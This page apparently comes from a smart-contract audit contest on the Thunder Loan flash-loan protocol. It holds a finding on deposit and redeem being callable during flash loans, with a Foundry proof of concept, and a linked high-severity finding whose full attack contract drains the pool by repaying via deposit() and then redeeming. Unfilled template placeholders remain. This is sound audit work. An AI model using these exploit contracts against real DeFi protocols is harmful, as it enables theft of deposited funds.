Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

s_currentlyFlashLoaning Only Guards repay — deposit and redeem Remain Callable During Flash Loans

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

# [M-#] `s_currentlyFlashLoaning` Only Guards `repay` — `deposit` and `redeem` Remain Callable During Active Flash Loans
## Summary
The protocol utilizes a localized state status mapping named `s_currentlyFlashLoaning` to ensure that flash loan repayments can only navigate inside an active flash loan lifecycle window. However, this access-control guard is completely missing from the `deposit` and `redeem` entry points in `ThunderLoan.sol`. A flash loan execution receiver can perform a reentrancy call into the token pool mid-flight to manipulate the contract balance metrics and impact calculations.
## Vulnerability Details
In `ThunderLoan.sol`, when a user triggers a flash loan, the contract marks the pool's operational flag to indicate a loan execution frame is underway:
```solidity
s_currentlyFlashLoaning[token] = true;
```
While this state tracking accurately restricts external or unauthorized calls to `repay`, it fails to intercept or restrict parallel user actions across the core asset transaction functions (`deposit` and `redeem`).
During the `executeOperation` interface callback step, a receiver can issue an atomic nested call to `deposit` or `redeem`. By injecting assets or draining pool liquid reserves mid-loan execution, the receiver temporarily distorts the pool's asset calculation basis. This allows them to influence cross-contract operations or intentionally trigger state anomalies that break downstream accounting checks upon transaction finalization.
## Impact
**Medium.** The Absence of strict cross-functional reentrancy constraints breaks contract isolation principles. Malicious integration actors can execute cross-call pool updates that manipulate underlying contract balance metrics or selectively induce transaction failures to disrupt concurrent protocol dependencies.
## Proof of Concept
Add the following test case and helper structure to your suite to confirm the state isolation gap:
```solidity
contract ReentrantReceiver is IFlashLoanReceiver {
ThunderLoan loan;
IERC20 token;
AssetToken assetToken;
constructor(address _loan, address _token, address _assetToken) {
loan = ThunderLoan(_loan);
token = IERC20(_token);
assetToken = AssetToken(_assetToken);
}
function executeOperation(
address _token,
uint256 amount,
uint256 fee,
address,
bytes calldata
) external override returns (bool) {
// Perform an unauthorized deposit mid-flight during the active flash loan
token.approve(address(loan), amount + fee);
loan.deposit(token, amount + fee);
IERC20(_token).transfer(msg.sender, amount + fee);
return true;
}
}
function test_PoC11_Reentrancy_DepositDuringFlashLoan() public {
// 1. Setup asset pool with 1,000 initial tokens
ThunderLoan tl = deployThunderLoan();
tl.setAllowedToken(token, true);
token.mint(lp, 1000e18);
vm.startPrank(lp);
token.approve(address(tl), 1000e18);
tl.deposit(token, 1000e18);
vm.stopPrank();
AssetToken at = tl.getAssetFromToken(token);
// 2. Initialize the exploitation receiver and supply manipulation capital
ReentrantReceiver receiver = new ReentrantReceiver(address(tl), address(token), address(at));
token.mint(address(receiver), 2000e18);
// 3. The flash loan executes cleanly without throwing any reentrancy errors
vm.prank(user);
tl.flashloan(address(receiver), token, 500e18, "");
}
```
## Tools Used
* Manual Code Review
## Recommendations
Implement an access control modifier on both the `deposit` and `redeem` endpoints in `ThunderLoan.sol` to strictly deny interactions while a token flash loan is ongoing:
```solidity
// @audit-issue Ensure entry routes are locked out while flash loans remain unresolved
modifier notDuringFlashLoan(IERC20 token) {
require(!s_currentlyFlashLoaning[token], "Interaction blocked during active flash loan");
_;
}
function deposit(IERC20 token, uint256 amount) external notDuringFlashLoan(token) {
// ... existing deposit logic
}
function redeem(IERC20 token, uint256 shares) external notDuringFlashLoan(token) {
// ... existing redeem logic
}
```
Alternatively, integrate OpenZeppelin's standard global `ReentrancyGuard` module across all state-changing entry points to enforce atomic sequential interaction safety.
// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

Recommended Mitigation

- remove this code
+ add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!